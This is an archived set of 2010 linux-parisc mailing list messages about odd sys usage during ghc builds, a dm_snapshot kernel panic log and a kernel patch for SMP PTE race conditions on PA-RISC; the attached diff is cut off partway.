Original-Received: by 10.227.154.15 with SMTP id m15mr4739998wbw.96.1273182546625;
        Thu, 06 May 2010 14:49:06 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id z33sm10271807wbd.1.2010.05.06.14.49.04
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 06 May 2010 14:49:04 -0700 (PDT)
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2838>

Hi pa-ckers

Sometimes a few graphs tell a lot more than words, here's what has
been recently observed on lafayette.d.o, one of the hppa Debian
autobuilders.

http://imagebin.ca/view/uhqcMQ.html
http://imagebin.ca/view/kGT08zc.html
http://imagebin.ca/view/r61bGE0X.html

The beginning of the (seemingly) abnormal sys usage, and very high IPI
rate coincides with:

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
14042 buildd    20   0  337m 311m  20m R   99  7.7 138:46.37 ghc

It looks like (but maybe I'm just paranoid) ghc is doing some nasty  
things...

Lafayette is running 2.6.32-3-parisc64-smp, and this apparently
happened during the build of haskell-src-exts_1.8.2-3

The build got eventually killed with ghc still running, see:
https://buildd.debian.org/fetch.cgi?&pkg=haskell-src-exts&ver=1.8.2-3&arch=hppa&stamp=1273149256&file=log

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Weird sys readings during ghc run
Date: Thu, 6 May 2010 21:40:39 -0400
Organization: nrc.ca
Lines: 23
Approved: news@gmane.org
Message-ID: <20100507014038.GA21776@hiauly1.hia.nrc.ca>
References: <w2p7d01f9f01005060541jca558889j5e9ef1e4eccf675a@mail.gmail.com> <00E6F5C7-BD87-4BD0-8E6F-C80D8E427DAA@parisc-linux.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1273196447 15329 80.91.229.12 (7 May 2010 01:40:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 7 May 2010 01:40:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thibaut =?iso-8859-1?Q?VAR=C8NE?= <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 07 03:40:46 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OACYV-0001mV-5B
	for glpp-linux-parisc@lo.gmane.org; Fri, 07 May 2010 03:40:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751549Ab0EGBkm convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 May 2010 21:40:42 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1173 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750845Ab0EGBkl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 May 2010 21:40:41 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 439124FA3; Thu,  6 May 2010 21:40:39 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <00E6F5C7-BD87-4BD0-8E6F-C80D8E427DAA@parisc-linux.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2839>

On Thu, 06 May 2010, Thibaut VAR=C8NE wrote:

> Lafayette is running 2.6.32-3-parisc64-smp, and this apparently
> happened during the build of haskell-src-exts_1.8.2-3

Besides, the minifail cache aliasing problem, I'm absolutely convinced
that there are race conditions in the updating of ptes on smp kernels.
Until that is fixed, all manner of wierd things can happen.  However,
as I'm finding, fixing this is tricky and it will have a performance
impact.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Kernel panic in dm_snapshot
Date: Sat, 8 May 2010 12:53:43 +0200
Lines: 130
Approved: news@gmane.org
Message-ID: <F96C0F67-A1D4-47AB-9B36-4DEEA129753D@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1273316034 19482 80.91.229.12 (8 May 2010 10:53:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 8 May 2010 10:53:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 08 12:53:53 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OAhfM-0001a2-IK
	for glpp-linux-parisc@lo.gmane.org; Sat, 08 May 2010 12:53:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751538Ab0EHKxv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 8 May 2010 06:53:51 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:48057 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750770Ab0EHKxt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 8 May 2010 06:53:49 -0400
Original-Received: by fxm10 with SMTP id 10so1300573fxm.19
        for <linux-parisc@vger.kernel.org>; Sat, 08 May 2010 03:53:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:message-id:from:to
         :content-type:content-transfer-encoding:mime-version:subject:date
         :x-mailer;
        bh=9DbRSn7E/4OOQEmxQlNyGzVuthryXUUIR+HXSXrhT7Y=;
        b=szUtDFyAHNJFHfJb/gPQsTvwvbvZrYkLkMF1anAoO6a5ZG2AbKMC85C1pGDmnyGGP3
         C7q+YeP6Q8qk+kEqJGGH4XNyOHMlYxeTKFiuxJ09E4aHjITCuyWuZNeb8GGZFZT5vWva
         U0NmcKE/tTkGl2Jio7WpwFXakNvZ7AjUrVZrI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:message-id:from:to:content-type:content-transfer-encoding
         :mime-version:subject:date:x-mailer;
        b=lTz5HEu57d5eIbhBvJbVnDAvs9Wby1R8lw5mj6QMfwInDs7+FJ1OziQ8O+566DnGh4
         ncuiycg2BUzUnHwWjglV7NFzhx2rMIaI5rJud5r5hIbkucSR7fSR5+4Fv948fG/9VuN/
         9dU0yXjkPgb+U7UTZ7GQMgQVwsgmbzoFQOsfo=
Original-Received: by 10.102.222.5 with SMTP id u5mr613505mug.134.1273316027475;
        Sat, 08 May 2010 03:53:47 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id 23sm12083347mun.31.2010.05.08.03.53.45
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 08 May 2010 03:53:46 -0700 (PDT)
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2840>

Hi pa-ckers.

Attached is the console capture on lafayette after it crashed in  
dm_snapshot.

FWIW, the output looks a bit mingled, and it's not the first time I  
see intertwined output like this, at least on parisc. I wonder if  
something's gone wrong with printk() on SMP machines...

Lafayette is running Linux version 2.6.32-3-parisc64-smp (Debian  
2.6.32-9) (maks@debian.org) (gcc version 4.3.4 (GCC) ) #1 SMP Thu Feb  
25 16:08:05 UTC 2010

HTH

T-Bone

[425641.452000] EXT3 FS on dm-3, internal journal
[425641.456000] EXT3-fs: mounted filesystem with ordered data mode.

Press Q/q to quit, Enter to continue:

[426045.348000] Backtrace:
[426045.348000]  [<0000000020b28bf8>] exit_exception_table+0x68/0x1a8  
[dm_snapshot]
[426045.348000]  [<0000000020b28ee0>] snapshot_dtr+0x1a8/0x390  
[dm_snapshot]
[426045.348000]  [<0000000020731e30>] dm_table_destroy+0xa8/0x1d8  
[dm_mod]
[426045.348000]  [<000000002072aa3c>] __unbind+0x7c/0x1e8 [dm_mod]
[426045.348000]  [<000000002072dda0>] dm_put+0x148/0x2d8 [dm_mod]
[426045.348000]  [<0000000020737054>] dev_remove+0x13c/0x1c8 [dm_mod]
[426045.348000]  [<0000000020737cb4>] ctl_ioctl+0x234/0x2c8 [dm_mod]
[426045.348000]  [<0000000020737da8>] dm_compat_ctl_ioctl+0x18/0x38  
[dm_mod]
[426045.348000]  [<0000000040257444>] compat_sys_ioctl+0x14c/0x4b0
[426045.348000]  [<0000000040104ef8>] syscall_exit+0x0/0x14
[426045.348000]
[426045.348000]
[426045.348000] Bad Address (null pointer deref?): Code=15  
regs=00000001288607e0 (Addr=000000004021d9f8)
[426045.348000]
[426045.348000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[426045.348000] PSW: 00001000000001100000011000001111 Not tainted
[426045.348000] r00-03  000000e00806060f 00000000406d7c20  
0000000020b28bf8 [426045.348000] r04-07  0000000020b25000  
00000000001bf050 000000000001bf05 0000000023f1b050
[426045.348000] r08-11  000000012941f658 0000000128860730  
0000000000020000 00000000405327c8
[426045.348000] r12-15  0000000040352b28 000000004034f190  
0000000040353534 0000000040352f74

Press Q/q to quit, Enter to continue:

[426045.348000] r16-19  0000000040351744 00000000c138fd04  
0000000040352f74 0000000040e5a000
[426045.348000] r20-23  0000000000000000 000ffffffffc8109  
0000000000000000 0003780
[426045.348000] r24-27  0000000008109af4 0000000008109af4  
00000000405327c8 00000000406b7c20
[426045.348000] r28-31  037fffffff3c39f8 0000000128860730  
00000001288607e0 000ffffffffc8109
[426045.348000] sr00-03  00000000058a6800 0000000000000000  
0000000000000000 00000000058a6800
[426045.348000] sr04-07  0000000000000000 0000000000000000  
0000000000000000 0000000000000000
[426045.348000]
[426045.348000] IASQ: 0000000000000000 0000000000000401f7a48  
00000000401f7a4c
[426045.348000]  IIR: 0f9300df    ISR: 0000000003800000  IOR:  
000000004021d9f8
[426045.348000]  CPU:        0   CR30: 0000000128860000 CR31:  
0000000000008020
[426045.348000]  ORIG_R28: 0000000040352b28
[426045.348000]  IAOQ[0]: kmem_cache_free+0x98/0x110
[426045.348000]  IAOQ[1]: kmem_cache_free+0x9c/0x110
[426045.348000]  RP(r2): exit_exception_table+0x68/0x1a8 [dm_snapshot]
[426045.348000] Backtrace:
[426045.34<0000000020b28bf8>] exit_exception_table+0x68/0x1a8  
[dm_snapshot]
[426045.348000]  [<0000000020b28ee0>] snapshot_dtr+0x1a8/0x390  
[dm_snapshot]
[426045.348000]  [<0000000020731e30>] dm_table_destroy+0xa8/0x1d8  
[dm_mod]
[426045.348000]  [<000000002072aa3c>] __unbind+0x7c/0x1e8 [dm_mod]
[426045.348000]  [<000000002072dda0>] dm_put+0x148/0x2d8 [dm_mod]

Press Q/q to quit, Enter to continue:

[426045.348000]  [<0000000020737054>] dev_remove+0x13c/0x1c8 [dm_mod]
[426045.348000]  [<0000_ioctl+0x234/0x2c8 [dm_mod]
[426045.348000]  [<0000000020737da8>] dm_compat_ctl_ioctl+0x18/0x38  
[dm_mod]
[426045.348000]  [<0000000040257444>] compat_sys_ioctl+0x14c/0x4b0
[426045.348000]  [<0000000040104ef8>] syscall_exit+0x0/0x14
[426045.348000]
[426045.348000] ernel panic - not syncing: Bad Address (null pointer  
deref?)
[426045.348000] Backtrace:
[426045.348000]  [<000000004011d41c>] show_stack+0x14/0x20
[426045.348000]  [<0000000040115e40>] dump_stack+0x18/0x28
[426045.348000]  [<0000000040115f00>] panic+0xb0/0x2c0
[426045.348000]  [<000000004011dab8>] parisc_terminate+0x168/0x170
[426045.348000]  [<000000004011be60>] do_page_fault+0x2f8/0x388
[426045.348000]  [<000000004011e560>] handle_interr50/0x870
[426045.348000]  [<00000000401f7a48>] kmem_cache_free+0x98/0x110
[426045.348000]  [<0000000020b28bf8>] exit_exception_table+0x68/0x1a8  
[dm_snapshot]
[426045.348000]  [<0000000020b28ee0>] snapshot_dtr+0x1a8/0x390  
[dm_snapshot]
[426045.348000]  [<0000000020731e30>] dm_table_destroy+0xa8/0x1d8  
[dm_mod]
[426045.348000]  [<000000002072aa3c>] __unbind+0x7c/0x1e8 [dm_mod]
[426045.348000]  [<000000002072dda0>] dm_put+0x148/0x2d8 [dm_mod]

Press Q/q to quit, Enter to continue:

[<0000000020737054>] dev_remove+0x13c/0x1c8 [dm_mod]
[426045.348000]  [<0000000020737cb4>] ctl_ioctl+0x234/0x2c8 [dm_mod]
[426045.348000]  [<0000000020737da8>] dm_compat_ctl_ioctl+0x18/0x38  
[dm_mod]
[426045.348000]  [<0000000040257444>] compat_sys_ioctl+0x14c/0x4b0
[426045.348000]


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Weird sys readings during ghc run
Date: Sun, 9 May 2010 02:22:37 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <A88D1A32-C758-4645-B936-3B35AD7455E4@parisc-linux.org>
References: <w2p7d01f9f01005060541jca558889j5e9ef1e4eccf675a@mail.gmail.com> <00E6F5C7-BD87-4BD0-8E6F-C80D8E427DAA@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=ISO-8859-1;
	format=flowed	delsp=yes
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1273364587 2866 80.91.229.12 (9 May 2010 00:23:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 9 May 2010 00:23:07 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 09 02:23:06 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OAuIQ-00046z-JA
	for glpp-linux-parisc@lo.gmane.org; Sun, 09 May 2010 02:23:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754664Ab0EIAWw convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 8 May 2010 20:22:52 -0400
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:63870 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754592Ab0EIAWn convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 8 May 2010 20:22:43 -0400
Original-Received: by fxm10 with SMTP id 10so1542641fxm.19
        for <linux-parisc@vger.kernel.org>; Sat, 08 May 2010 17:22:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:message-id:from:to
         :in-reply-to:content-type:content-transfer-encoding:mime-version
         :subject:date:references:x-mailer;
        bh=QWKRHtF7lywCsQR/9CS6C3D9l921IS7IB8XDdQxQRDA=;
        b=wejoiuMo3trI5p9nQ9l9k4SRPATMcStlzjvKG8tW7q0mfgn43hAFpHfAfDoL2IFa8x
         oCwvQrIQ4aMTqka+LiR9YNElF2kVj/He0lQhslGrO2+5OuMQPg5bhQxhuug9ubN+tbx2
         PgkDP/rjgF0AeJyFIXp5+aiIIk5bPELeZBdCA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:message-id:from:to:in-reply-to:content-type
         :content-transfer-encoding:mime-version:subject:date:references
         :x-mailer;
        b=dnkHRf8pSfgbmFSnoOuHG11c3YRH8mboHdOte5mnzWYoRX9qrVMSNz29g+MgkhP6oI
         M8XbI5IU6aX53CHoNmW4QnMi8bbQSQ8J8Dq5Rh9eFwrL0UlVCnPetSQCDp/kFQYlKRaX
         RVyu9SeVNosADZCiDKPMWLBJPpimPa6Kq7Npc=
Original-Received: by 10.102.174.39 with SMTP id w39mr1096300mue.20.1273364561580;
        Sat, 08 May 2010 17:22:41 -0700 (PDT)
Original-Received: from Gandalf.h0m3 (car75-1-87-88-101-48.dsl.club-internet.fr [87.88.101.48])
        by mx.google.com with ESMTPS id 12sm14261892muq.3.2010.05.08.17.22.39
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 08 May 2010 17:22:40 -0700 (PDT)
In-Reply-To: <00E6F5C7-BD87-4BD0-8E6F-C80D8E427DAA@parisc-linux.org>
X-Mailer: Apple Mail (2.936)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2841
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2841>

Le 6 mai 10 =E0 23:49, Thibaut VAR=C8NE a =E9crit :

> Hi pa-ckers
>
> Sometimes a few graphs tell a lot more than words, here's what has
> been recently observed on lafayette.d.o, one of the hppa Debian
> autobuilders.
>
> http://imagebin.ca/view/uhqcMQ.html
> http://imagebin.ca/view/kGT08zc.html
> http://imagebin.ca/view/r61bGE0X.html
>
> The beginning of the (seemingly) abnormal sys usage, and very high IP=
I
> rate coincides with:
>
> PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
> 14042 buildd    20   0  337m 311m  20m R   99  7.7 138:46.37 ghc
>
> It looks like (but maybe I'm just paranoid) ghc is doing some nasty =20
> things...
>
> Lafayette is running 2.6.32-3-parisc64-smp, and this apparently
> happened during the build of haskell-src-exts_1.8.2-3
>
> The build got eventually killed with ghc still running, see:
> https://buildd.debian.org/fetch.cgi?&pkg=3Dhaskell-src-exts&ver=3D1.8=
=2E2-3&arch=3Dhppa&stamp=3D1273149256&file=3Dlog

=46or the records, exactly the same symptoms (100% sys usage, IPI going=
 =20
crazy, build timeout) happened during the build of missingh.

Log is here:
https://buildd.debian.org/fetch.cgi?pkg=3Dmissingh&arch=3Dhppa&ver=3D1.=
1.0.3-2&stamp=3D1273363098&file=3Dlog&as=3Draw

HTH--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 9 May 2010 08:43:40 -0400
Organization: nrc.ca
Lines: 1380
Approved: news@gmane.org
Message-ID: <20100509124339.GA6797@hiauly1.hia.nrc.ca>
References: <20100412214118.46D925160@hiauly1.hia.nrc.ca> <20100413115501.307040@gmx.net> <20100419162653.GA106@hiauly1.hia.nrc.ca> <4BCDEB6E.1060408@gmx.de>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="VS++wcV0S1rZb1Fb"
X-Trace: dough.gmane.org 1273409033 6829 80.91.229.12 (9 May 2010 12:43:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 9 May 2010 12:43:53 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org, gniibe@fsij.org,
	carlos@systemhalted.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 09 14:43:50 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OB5rJ-0007mb-4h
	for glpp-linux-parisc@lo.gmane.org; Sun, 09 May 2010 14:43:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751275Ab0EIMns (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 May 2010 08:43:48 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1459 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750899Ab0EIMnp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 May 2010 08:43:45 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C29304FA3; Sun,  9 May 2010 08:43:41 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BCDEB6E.1060408@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2842
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2842>


--VS++wcV0S1rZb1Fb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, 20 Apr 2010, Helge Deller wrote:

> Hi Dave,
> 
> On 04/19/2010 06:26 PM, John David Anglin wrote:
> > On Tue, 13 Apr 2010, Helge Deller wrote:
> >> Still crashes.
> > 
> > Can you you try the patch below?  The change to cacheflush.h is the same
> > as before.
> 
> Thanks for the patch.
> I applied it on top of a clean 2.6.33.2 kernel and ran multiple parallel 
> minifail programs on my B2000 (2 CPUs, SMP kernel, 32bit kernel).
> Sadly minifail still crashed the same way as before.

Attached is my latest 2.6.33.3 patch bundle.  It uses a slightly modified
version of James' minifail fix.

The big change is the management of PTE updates and the TLB exception
support on SMP configs.  I have modified what was formerly the pa_dbit_lock
and used it for all user page table updates.  I also added a recheck of the
PTE after TLB inserts.  The idea for this was derived from a similar check
in arch/ia64/kernel/ivt.S.  I also whack the TLB page in ptep_set_wrprotect
and modified the TLB locking for clear_user_page (it's now in asm).

So far, the change is lightly tested.  I've been burned enough to know
that there are likely still problems.  However, so far I haven't seen any
random segvs on my rp3440 or gsyprf11.

I would appreciate pa'ers testing this change.  If it looks good, I'll
extract the new PTE handling and formally submit.

There are some obvious performance improvements that could be made like
lock hashing.  However, I just wanted something that works as a first
step.  It's hard to test this stuff because the failures are random.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--VS++wcV0S1rZb1Fb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="diff-20100508.d.3"

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 716634d..ad7df44 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -24,29 +24,46 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
+#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
 /* Can't use raw_spin_lock_irq because of #include problems, so
  * this is the substitute */
-#define _atomic_spin_lock_irqsave(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);		\
+#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;		\
 	local_irq_save(f);			\
 	arch_spin_lock(s);			\
 } while(0)
 
-#define _atomic_spin_unlock_irqrestore(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);			\
+#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;			\
 	arch_spin_unlock(s);				\
 	local_irq_restore(f);				\
 } while(0)
 
+/* kernel memory locks */
+#define _atomic_spin_lock_irqsave(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
+
+/* userspace memory locks */
+#define _atomic_spin_lock_irqsave_user(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore_user(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
 
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_unlock_irqrestore(l,f)
 #endif
 
 /* This should get optimized out since it's never called.
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..b90c895 100644
